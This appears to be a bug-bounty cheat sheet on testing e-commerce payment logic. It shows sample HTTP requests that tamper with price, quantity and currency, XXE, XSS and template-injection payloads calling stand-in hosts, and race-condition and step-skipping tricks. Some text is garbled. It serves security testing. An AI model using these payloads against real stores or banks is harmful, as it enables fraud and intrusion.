



Try To Manipulate The Quantity e.g. The Original Quantity Is 1, Try To Change It To 3 To Get Two Items Free



- 1 Writeup
- 11 Writeup
- | Writeup

POST /buying-something HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

Content-Length: Number

Quantity= & price=10¤cy=dollar&token=******** & add=egy



Try To Manipulate The Price e.g. The Original Price Is 10, Try To Change It To -10 OR To Fraction Value e.g. 0.10 To Get The Item Cheaper



- 1 Writeup
- 11 Writeup
- Tweet

POST /buying-something HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

Content-Length: Number

Quantity=1&price=-10¤cy=dollar&token=********&add=egy

Try To Manipulate The Currency e.g. The Original Currency Is dollar, Try To Change It To INR To Get The Item Cheaper



POST /buying-something HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

Content-Length: Number

Quantity=1&price=10¤cy=INR&token=*********&



Try To Use Negative Numbers, Zero, NaN, null OR A Lot Of 00000 In All Field Values Of Parameters e.g. Quantity=0000 OR Quantity=null To Cause Logical Issues



POST /buying-something HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

Content-Length: Number

Quantity=null &price=10¤cy=dollar&token=*********

Try To Use Parameter Pollution Technique e.g. Quantity=1&Quantity=2 OR Quantity=[] With All Parameters To Get Free Items



POST /buying-something HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

Content-Length: Number

Quantity=1&Quantity=2&price=10¤cy=dollar&

token=*********&add=egy

Try To Omit Parameters e.g. Removing The Parameter And Its Value OR Removing Only The Value OR Try To Replace It To Null To Cause Logical Issues



POST /buying-something HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

Content-Length: Number

Cuantity 1&price=10¤cy=dollar&token=**********

Try To Change Content Type Header To Content-Type: application/xml With XXE Payloads e.g. <!DOCTYPE test [<!ENTITY xxe SYSTEM "http://me.com/xxe.dtd" >]>



Blog

```
POST /buying-something HTTP/1.1
Host: www.company.com
Content-Type: application/xml;charset=UTF-8
Content-Length: Number

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<IDOCTYPE test [<IENTITY xxe SYSTEM "http://me.com/xxe.dtd">]>
<root>
<Quantity>&xxe;</Quantity>
<price>10</price>
<add>egy</add>
<token>*******</token>
</root>
```



Try To Inject XSS Payloads e.g. "><svg/onload=prompt(1)> OR Blind XSS Payloads e.g. "> In All Field Values Of Parameters To Get XSS



• [1]

Writeup

POST /buying-something HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

Content-Length: Number

Quantity=1&price=10¤cy=dollar&token=*********

&add=">



Try To Insert Blind XSS OR Blind Template Injection Payloads e.g. {{constructor.constructor ('import("http://me.xss.ht")')()}} In User-Agent OR Noun-Standard Headers e.g. X-Forwarded-For



Slides

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Tweet

POST /buying-something HTTP/1.1

Host: www.company.com

User-Agent: Mozilla/5.0">
Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

Content-Length: Number

Quantity=1&price=10¤cy=dollar&token=*********



Try To Insert Invisible Range %00 To %FF In All Field Values Of Parameters e.g. Quantity=%00 OR Quantity=%FF To Cause Errors Exposing Sensitive Information



Tweet

From %00 to %FF Fuzz non-printable characters in any user input! This may result in: - Regex bypasses (blacklists) - Account takeover (e-mail, username) - Memory corruption

Try To Insert Large Characters OR Numbers In All Field Values Of Parameters e.g. Quantity=XXX 50.000+ XXX To Cause Errors Exposing Sensitive Information

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Try To Manipulate The Response To Cause Errors



```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: length

{
    "price": 0.10,
    "quantity": 1
}
```



If There Is Transferring Money From Bank Account One To Bank Account Two e.g. http://comapny.com/transfer?from=1&to=2&amount=10, Try To Use Race Condition



• 1 Writeup

Steps to produce :-

- 1 While Sending Money From e.g. http://comapny.com/transfer?from=1&to=2&amount=10
- 2 Intercept The Request And Send It To Turbo Intruder
- 3 Use Race File To Do Race Condition

Applications That Allow Users To Change Their Order While Paying For An Item Can Also Be Vulnerable When There Is No Verification At The End Of The Process



Steps to produce :-

- 1 From Firefox Browser , Add Item To Basket And Go Through Payment Page Then Stop Here
- 2 Open Chrome Then Add An New Items To Basket
- 3 From FireFox, Complete The Payment Process To Get Free Items



Try To Skip Some Steps While Buying Something e.g. You Have Something Like /order/123/shipping, Try To Go Through /order/123/confirm Directly



Tweet

BUG BOUNTY TIP Skip some steps! See a process with several steps? Check if you can skip some steps or execute them in the wrong order! Example: some webshops allow free shopping if you simply skip the payment step! /step/shipping > /step/payment > /step/confirm InsiderPhD

Thank You

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